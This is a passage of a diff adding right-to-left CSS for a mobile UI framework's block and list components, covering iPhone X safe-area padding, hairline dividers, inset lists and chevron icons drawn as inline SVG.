.block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .popup .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .sheet-modal .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .panel-right .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .ios-right-edge .block-header, + .ios.device-iphone-x .ios-edges .block-header, + .ios.device-iphone-x .popup .block-header, + .ios.device-iphone-x .sheet-modal .block-header, + .ios.device-iphone-x .panel-right .block-header, + .ios.device-iphone-x .ios-right-edge .block-footer, + .ios.device-iphone-x .ios-edges .block-footer, + .ios.device-iphone-x .popup .block-footer, + .ios.device-iphone-x .sheet-modal .block-footer, + .ios.device-iphone-x .panel-right .block-footer { + padding-right: calc(15px + constant(safe-area-inset-right)); + padding-right: calc(15px + env(safe-area-inset-right)); + } + .ios.device-iphone-x .ios-right-edge .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .ios.device-iphone-x .ios-edges .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .ios.device-iphone-x .popup .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .ios.device-iphone-x .sheet-modal .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .ios.device-iphone-x .panel-right .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .ios.device-iphone-x .ios-right-edge .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer, + .ios.device-iphone-x .ios-edges .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer, + .ios.device-iphone-x .popup .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer, + .ios.device-iphone-x .sheet-modal .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer, + .ios.device-iphone-x .panel-right .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer { + padding-right: 0; + } + .ios.device-iphone-x .ios-right-edge .block.inset:not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .ios-edges .block.inset:not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .popup .block.inset:not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .sheet-modal .block.inset:not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .panel-right .block.inset:not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .ios-right-edge .block-title:not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .ios-edges .block-title:not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .popup .block-title:not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .sheet-modal .block-title:not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .panel-right .block-title:not(.no-ios-edges):not(.no-ios-right-edge) { + margin-right: calc(15px + constant(safe-area-inset-right)); + margin-right: calc(15px + env(safe-area-inset-right)); + } +} +@media (orientation: landscape) and (min-width: 768px) { + .ios.device-iphone-x .ios-left-edge .block.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .ios-edges .block.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .popup .block.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .sheet-modal .block.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .panel-left .block.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) { + margin-left: calc(15px + constant(safe-area-inset-left)); + margin-left: calc(15px + env(safe-area-inset-left)); + } +} +@media (orientation: landscape) and (min-width: 768px) { + .ios.device-iphone-x .ios-right-edge .block.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .ios-edges .block.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .popup .block.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .sheet-modal .block.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .panel-right .block.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) { + margin-right: calc(15px + constant(safe-area-inset-right)); + margin-right: calc(15px + env(safe-area-inset-right)); + } +} +/* === List View === */ +.list { + position: relative; + z-index: 1; +} +.list ul { + list-style: none; + margin: 0; + padding: 0; + position: relative; +} +.list ul ul:before { + display: none !important; +} +.list ul ul:after { + display: none !important; +} +.list li { + position: relative; + -webkit-box-sizing: border-box; + box-sizing: border-box; +} +.list .item-media { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; + -webkit-flex-wrap: nowrap; + -ms-flex-wrap: nowrap; + flex-wrap: nowrap; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-box-sizing: border-box; + box-sizing: border-box; + padding-bottom: 8px; +} +.list .item-inner { + position: relative; + width: 100%; + padding-top: 8px; + padding-bottom: 8px; + min-width: 0; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: justify; + -webkit-justify-content: space-between; + -ms-flex-pack: justify; + justify-content: space-between; + -webkit-box-sizing: border-box; + box-sizing: border-box; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-align-self: stretch; + -ms-flex-item-align: stretch; + align-self: stretch; +} +.list .item-title { + min-width: 0; + -webkit-flex-shrink: 1; + -ms-flex-negative: 1; + flex-shrink: 1; + white-space: nowrap; + position: relative; + overflow: hidden; + text-overflow: ellipsis; + max-width: 100%; +} +.list .item-after { + white-space: nowrap; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + margin-right: auto; +} +.list .item-link, +.list .list-button { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + -webkit-transition-property: background-color; + transition-property: background-color; + display: block; + position: relative; + overflow: hidden; + z-index: 0; +} +.list .item-content { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: justify; + -webkit-justify-content: space-between; + -ms-flex-pack: justify; + justify-content: space-between; + -webkit-box-sizing: border-box; + box-sizing: border-box; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; +} +.list .item-subtitle { + position: relative; + overflow: hidden; + white-space: nowrap; + max-width: 100%; + text-overflow: ellipsis; +} +.list .item-text { + position: relative; + overflow: hidden; + text-overflow: hidden; + -webkit-line-clamp: 2; + -webkit-box-orient: vertical; + display: -webkit-box; +} +.list .item-title-row { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: justify; + -webkit-justify-content: space-between; + -ms-flex-pack: justify; + justify-content: space-between; + -webkit-box-sizing: border-box; + box-sizing: border-box; +} +.list .item-title-row .item-after { + -webkit-align-self: center; + -ms-flex-item-align: center; + align-self: center; +} +.list .item-row { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: justify; + -webkit-justify-content: space-between; + -ms-flex-pack: justify; + justify-content: space-between; + -webkit-box-sizing: border-box; + box-sizing: border-box; +} +.list .item-cell { + display: block; + -webkit-align-self: center; + -ms-flex-item-align: center; + align-self: center; + -webkit-box-sizing: border-box; + box-sizing: border-box; + -webkit-flex-shrink: 1; + -ms-flex-negative: 1; + flex-shrink: 1; +} +.list li:last-child .list-button:after { + display: none !important; +} +.list li:last-child > .item-inner:after, +.list li:last-child li:last-child > .item-inner:after, +.list li:last-child > .item-content > .item-inner:after, +.list li:last-child li:last-child > .item-content > .item-inner:after, +.list li:last-child > .item-link > .item-content > .item-inner:after, +.list li:last-child li:last-child > .item-link > .item-content > .item-inner:after { + display: none !important; +} +.list.no-hairlines:before, +.list.no-hairlines ul:before, +.md .list.no-hairlines-md:before, +.md .list.no-hairlines-md ul:before, +.ios .list.no-hairlines-ios:before, +.ios .list.no-hairlines-ios ul:before { + display: none !important; +} +.list.no-hairlines:after, +.list.no-hairlines ul:after, +.md .list.no-hairlines-md:after, +.md .list.no-hairlines-md ul:after, +.ios .list.no-hairlines-ios:after, +.ios .list.no-hairlines-ios ul:after { + display: none !important; +} +.list.no-hairline-top:before, +.list.no-hairline-top ul:before, +.md .list.no-hairline-top-md:before, +.md .list.no-hairline-top-md ul:before, +.ios .list.no-hairline-top-ios:before, +.ios .list.no-hairline-top-ios ul:before { + display: none !important; +} +.list.no-hairline-bottom:after, +.list.no-hairline-bottom ul:after, +.md .list.no-hairline-bottom-md:after, +.md .list.no-hairline-bottom-md ul:after, +.ios .list.no-hairline-bottom-ios:after, +.ios .list.no-hairline-bottom-ios ul:after { + display: none !important; +} +.list.no-hairlines-between .item-inner:after, +.md .list.no-hairlines-between-md .item-inner:after, +.ios .list.no-hairlines-between-ios .item-inner:after, +.list.no-hairlines-between .list-button:after, +.md .list.no-hairlines-between-md .list-button:after, +.ios .list.no-hairlines-between-ios .list-button:after, +.list.no-hairlines-between .item-divider:after, +.md .list.no-hairlines-between-md .item-divider:after, +.ios .list.no-hairlines-between-ios .item-divider:after, +.list.no-hairlines-between .list-group-title:after, +.md .list.no-hairlines-between-md .list-group-title:after, +.ios .list.no-hairlines-between-ios .list-group-title:after, +.list.no-hairlines-between .list-group-title:after, +.md .list.no-hairlines-between-md .list-group-title:after, +.ios .list.no-hairlines-between-ios .list-group-title:after { + display: none !important; +} +.list.no-hairlines-between.simple-list li:after, +.md .list.no-hairlines-between-md.simple-list li:after, +.ios .list.no-hairlines-between-ios.simple-list li:after { + display: none !important; +} +.list.no-hairlines-between.links-list a:after, +.md .list.no-hairlines-between-md.links-list a:after, +.ios .list.no-hairlines-between-ios.links-list a:after { + display: none !important; +} +.list.simple-list li { + position: relative; + white-space: nowrap; + text-overflow: ellipsis; + max-width: 100%; + -webkit-box-sizing: border-box; + box-sizing: border-box; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: justify; + -webkit-justify-content: space-between; + -ms-flex-pack: justify; + justify-content: space-between; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-align-content: center; + -ms-flex-line-pack: center; + align-content: center; +} +.list.simple-list li:last-child:after { + display: none !important; +} +.list.links-list a { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + -webkit-transition-property: background-color; + transition-property: background-color; + display: block; + position: relative; + overflow: hidden; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-align-content: center; + -ms-flex-line-pack: center; + align-content: center; + -webkit-box-pack: justify; + -webkit-justify-content: space-between; + -ms-flex-pack: justify; + justify-content: space-between; + -webkit-box-sizing: border-box; + box-sizing: border-box; + white-space: nowrap; + text-overflow: ellipsis; + max-width: 100%; +} +.list.links-list li:last-child a:after { + display: none !important; +} +.media-list .item-inner, +li.media-item .item-inner { + display: block; + -webkit-align-self: stretch; + -ms-flex-item-align: stretch; + align-self: stretch; +} +.media-list .item-link .item-inner, +li.media-item .item-link .item-inner { + background: none; +} +.media-list .item-media, +li.media-item .item-media { + -webkit-align-self: flex-start; + -ms-flex-item-align: start; + align-self: flex-start; +} +.media-list .item-media img, +li.media-item .item-media img { + display: block; +} +.list .item-link .item-inner, +.links-list a, +.media-list .item-link .item-title-row, +li.media-item .item-link .item-title-row, +.media-list.chevron-center .item-link .item-inner, +.media-list .chevron-center .item-link .item-inner, +.media-list .item-link.chevron-center .item-inner, +li.media-item.chevron-center .item-link .item-inner, +li.media-item .chevron-center .item-link .item-inner, +li.media-item .item-link.chevron-center .item-inner { + background-size: 8px 13px; + background-repeat: no-repeat; + background-position: 15px center; + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'8px'%20height%3D'13px'%20viewBox%3D'0%200%208%2013'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpolygon%20fill%3D'%23c7c7cc'%20transform%3D'translate(6.500000%2C%206.500000)%20rotate(-225.000000)%20translate(-6.500000%2C%20-6.500000)%20'%20points%3D'11%2011%2011%202%209%202%209%209%202%209%202%2011%2010%2011'%3E%3C%2Fpolygon%3E%3C%2Fsvg%3E"); +} +.links-list.no-chevron a, +.no-chevron .links-list a, +.links-list .no-chevron a, +.item-link.no-chevron .item-inner, +.no-chevron .item-link .item-inner, +.media-list.no-chevron .item-link .item-title-row, +.no-chevron .media-list .item-link .item-title-row, +li.media-item .no-chevron .item-title-row, +li.media-item.no-chevron .item-title-row, +.media-list.chevron-center .item-title-row, +.media-list .chevron-center .item-title-row, +li.media-item.chevron-center .item-title-row, +li.media-item .chevron-center .item-title-row { + background-image: none !important; +} +.media-list .item-link .item-inner, +li.media-item .item-link .item-inner { + background-image: none; +} +.media-list .item-link .item-title-row, +li.media-item .item-link .item-title-row { + background-position: left center !important; +} +.list-group ul:after, +.list-group ul:before { + z-index: 25 !important; +} +.list-group + .list-group ul:before { + display: none !important; +} +li.item-divider, +.item-divider, +li.list-group-title { + white-space: nowrap; + position: relative; + max-width: 100%; + text-overflow: ellipsis; + overflow: hidden; + z-index: 15; +} +li.list-group-title { + position: relative; + position: -webkit-sticky; + position: sticky; + top: 0; + margin-top: 0; + z-index: 20; +} +li.list-group-title:before { + display: none !important; +} +.list.inset .block-title { + margin-left: 0; + margin-right: 0; +} +.list.inset ul:before { + display: none !important; +} +.list.inset ul:after { + display: none !important; +} +@media (min-width: 768px) { + .list.tablet-inset .block-title { + margin-left: 0; + margin-right: 0; + } + .list.tablet-inset ul:before { + display: none !important; + } + .list.tablet-inset ul:after { + display: none !important; + } +} +.theme-dark .list .item-link .item-inner, +.list.theme-dark .item-link .item-inner, +.theme-dark .links-list a, +.links-list.theme-dark a, +.theme-dark .media-list .item-link .item-title-row, +.media-list.theme-dark .item-link .item-title-row, +.theme-dark li.media-item .item-link .item-title-row { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'8px'%20height%3D'13px'%20viewBox%3D'0%200%208%2013'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpolygon%20fill%3D'%23434345'%20transform%3D'translate(6.500000%2C%206.500000)%20rotate(-225.000000)%20translate(-6.500000%2C%20-6.500000)%20'%20points%3D'11%2011%2011%202%209%202%209%209%202%209%202%2011%2010%2011'%3E%3C%2Fpolygon%3E%3C%2Fsvg%3E"); +} +.theme-dark .media-list .item-link .item-inner, +.media-list.theme-dark .item-link .item-inner, +.theme-dark li.media-item .item-link .item-inner { + background-image: none; +} +.ios .list { + margin: 35px 0; + font-size: 17px; +} +.ios .list .item-cell { + width: 100%; + min-width: 0; + margin-right: 15px; +} +.ios .list .item-cell:first-child { + margin-right: 0; +} +.ios .list ul { + background: #fff; +} +.ios .list ul ul { + padding-right: 45px; +} +.ios .list .item-media { + padding-top: 7px; +} +.ios .list .item-media i + i, +.ios .list .item-media i + img { + margin-right: 5px; +} +.ios .list .item-media + .item-inner { + margin-right: 15px; +} +.ios .list .item-inner { + min-height: 44px; + padding-left: 15px; +} +.ios .list .item-after { + color: #8e8e93; + padding-right: 5px; +} +.ios .list .item-link, +.ios .list .list-button { + color: inherit; +} +.ios .list .item-link .item-inner, +.ios .list .list-button .item-inner { + padding-left: 35px; +} +.ios .list .item-link.active-state, +.ios .list .list-button.active-state { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; + background-color: #d9d9d9; +} +.ios .list .item-link.active-state .item-inner:after, +.ios .list .list-button.active-state .item-inner:after { + background-color: transparent; +} +.ios .list .list-button { + padding: 0 15px; + text-align: center; + color: #007aff; + line-height: 44px; +} +.ios .list .item-content { + min-height: 44px; + padding-right: 15px; +} +.ios .list .item-subtitle { + font-size: 15px; +} +.ios .list .item-text { + font-size: 15px; + color: #8e8e93; + line-height: 21px; + max-height: 42px; +} +.ios .list .item-header, +.ios .list .item-footer { + font-weight: normal; + font-size: 12px; + line-height: 1.2; + white-space: normal; +} +.ios .list .item-footer { + color: #8e8e93; +} +.ios .list .item-link.no-chevron .item-inner, +.ios .list.no-chevron .item-link .item-inner, +.ios .list .no-chevron .item-link .item-inner, +.ios .no-chevron .list .item-link .item-inner { + padding-left: 15px; +} +.ios .simple-list li:after { + content: ''; + position: absolute; + background-color: #c8c7cc; + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +.ios.device-pixel-ratio-2 .simple-list li:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .simple-list li:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .simple-list li { + padding-left: 15px; + padding-right: 15px; + line-height: 44px; + height: 44px; +} +.ios .simple-list li:after { + left: 15px; + right: 0; + width: auto; + right: 15px; + left: 0; +} +.ios .links-list a:after { + content: ''; + position: absolute; + background-color: #c8c7cc; + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +.ios.device-pixel-ratio-2 .links-list a:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .links-list a:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .links-list a { + height: 44px; + color: inherit; +} +.ios .links-list a.active-state { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; + background-color: #d9d9d9; +} +.ios .links-list a:after { + width: auto; +} +.ios .links-list a { + padding-right: 15px; + padding-left: 35px; +} +.ios .links-list a:after { + right: 15px; + left: 0; +} +.ios .links-list.no-chevron a, +.ios .no-chevron .links-list a, +.ios .links-list a.no-chevron, +.ios .links-list .no-chevron a { + padding-left: 15px; +} +.ios .media-list .item-title, +.ios li.media-item .item-title { + font-weight: 600; +} +.ios .media-list .item-inner, +.ios li.media-item .item-inner { + padding-top: 10px; + padding-bottom: 9px; +} +.ios .media-list .item-media, +.ios li.media-item .item-media { + padding-top: 9px; + padding-bottom: 10px; +} +.ios .media-list .item-link .item-inner, +.ios li.media-item .item-link .item-inner { + padding-left: 15px; +} +.ios .media-list .item-link .item-title-row, +.ios li.media-item .item-link .item-title-row { + padding-left: 20px; +} +.ios .media-list.chevron-center .item-link .item-inner, +.ios .media-list .chevron-center .item-link .item-inner, +.ios .media-list .item-link.chevron-center .item-inner, +.ios li.media-item.chevron-center .item-link .item-inner, +.ios li.media-item .item-link.chevron-center .item-inner, +.ios li.media-item .chevron-center .item-link .item-inner { + padding-left: 35px; +} +.ios .media-list.no-chevron .item-link .item-title-row, +.ios .no-chevron .media-list .item-link .item-title-row, +.ios .media-list .no-chevron .item-link .item-title-row, +.ios li.media-item.no-chevron .item-link .item-title-row, +.ios .no-chevron li.media-item .item-link .item-title-row, +.ios .media-list.chevron-center .item-title-row, +.ios .media-list .chevron-center .item-title-row, +.ios li.media-item.chevron-center .item-title-row, +.ios li.media-item .chevron-center .item-title-row { + padding-left: 0 !important; +} +.ios .list .item-link .item-inner, +.ios .links-list a { + background-position: 15px center; +} +.ios .item-divider, +.ios .list-group-title { + margin-top: -1px; + padding: 4px 15px; + background: #f7f7f7; + color: #8e8e93; +} +.ios .item-divider:after, +.ios .list-group-title:after { + display: none !important; +} +.ios .list-group-title { + margin-top: 0; +} +.ios .item-divider:before { + content: ''; + position: absolute; + background-color: #c8c7cc; + display: block; + z-index: 15; + top: 0; + right: auto; + bottom: auto; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 0%; + transform-origin: 50% 0%; +} +.ios.device-pixel-ratio-2 .item-divider:before { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .item-divider:before { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .list-group-title:before { + content: ''; + position: absolute; + background-color: #c8c7cc; + display: block; + z-index: 15; + top: 0; + right: auto; + bottom: auto; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 0%; + transform-origin: 50% 0%; +} +.ios.device-pixel-ratio-2 .list-group-title:before { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .list-group-title:before { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .list .list-button:after { + content: ''; + position: absolute; + background-color: #c8c7cc; + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +.ios.device-pixel-ratio-2 .list .list-button:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .list .list-button:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .list .item-inner:after { + content: ''; + position: absolute; + background-color: #c8c7cc; + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +.ios.device-pixel-ratio-2 .list .item-inner:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .list .item-inner:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .list ul:before { + content: ''; + position: absolute; + background-color: #c8c7cc; + display: block; + z-index: 15; + top: 0; + right: auto; + bottom: auto; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 0%; + transform-origin: 50% 0%; +} +.ios.device-pixel-ratio-2 .list ul:before { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .list ul:before { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .list ul:after { + content: ''; + position: absolute; + background-color: #c8c7cc; + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +.ios.device-pixel-ratio-2 .list ul:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .list ul:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .list.inset { + margin-left: 15px; + margin-right: 15px; + border-radius: 7px; +} +.ios .list.inset ul { + border-radius: 7px; +} +.ios .list.inset li:first-child > a { + border-radius: 7px 7px 0 0; +} +.ios .list.inset li:last-child > a { + border-radius: 0 0 7px 7px; +} +.ios .list.inset li:first-child:last-child > a { + border-radius: 7px; +} +@media (min-width: 768px) { + .ios .list.tablet-inset { + margin-left: 15px; + margin-right: 15px; + border-radius: 7px; + } + .ios .list.tablet-inset ul { + border-radius: 7px; + } + .ios .list.tablet-inset li:first-child > a { + border-radius: 7px 7px 0 0; + } + .ios .list.tablet-inset li:last-child > a { + border-radius: 0 0 7px 7px; + } + .ios .list.tablet-inset li:first-child:last-child > a { + border-radius: 7px; + } +} +.ios li li:last-child .item-inner:after, +.ios li:last-child li .item-inner:after { + content: ''; + position: absolute; + background-color: #c8c7cc; + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +html.device-pixel-ratio-2 .ios li li:last-child .item-inner:after, +html.device-pixel-ratio-2 .ios li:last-child li .item-inner:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +html.device-pixel-ratio-3 .ios li li:last-child .item-inner:after, +html.device-pixel-ratio-3 .ios li:last-child li .item-inner:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +@media (orientation: landscape) { + .ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li, + .ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li { + padding-left: calc(15px + constant(safe-area-inset-left)); + padding-left: calc(15px + env(safe-area-inset-left)); + } + .ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-divider, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-divider, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-divider, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-divider, + .ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-divider, + .ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .list-group-title, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .list-group-title, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .list-group-title, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .list-group-title, + .ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .list-group-title { + padding-left: calc(15px + constant(safe-area-inset-left)); + padding-left: calc(15px + env(safe-area-inset-left)); + } + .ios.device-iphone-x .ios-left-edge .list.inset:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .ios-edges .list.inset:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .popup .list.inset:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .sheet-modal .list.inset:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .panel-left .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) { + margin-left: calc(15px + constant(safe-area-inset-left)); + margin-left: calc(15px + env(safe-area-inset-left)); + } + .ios.device-iphone-x .ios-left-edge .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .ios.device-iphone-x .ios-edges .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .ios.device-iphone-x .popup .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .ios.device-iphone-x .sheet-modal .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .ios.device-iphone-x .panel-left .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .ios.device-iphone-x .ios-left-edge .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer, + .ios.device-iphone-x .ios-edges .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer, + .ios.device-iphone-x .popup .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer, + .ios.device-iphone-x .sheet-modal .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer, + .ios.device-iphone-x .panel-left .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer { + padding-left: 15px; + } + .ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link .item-inner, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link .item-inner, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link .item-inner, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link .item-inner, + .ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link .item-inner, + .ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a, + .ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a { + background-position: calc(15px + constant(safe-area-inset-left)) center; + background-position: calc(15px + env(safe-area-inset-left)) center; + } + .ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-inner, + .ios.device-iphone-x .ios-edges 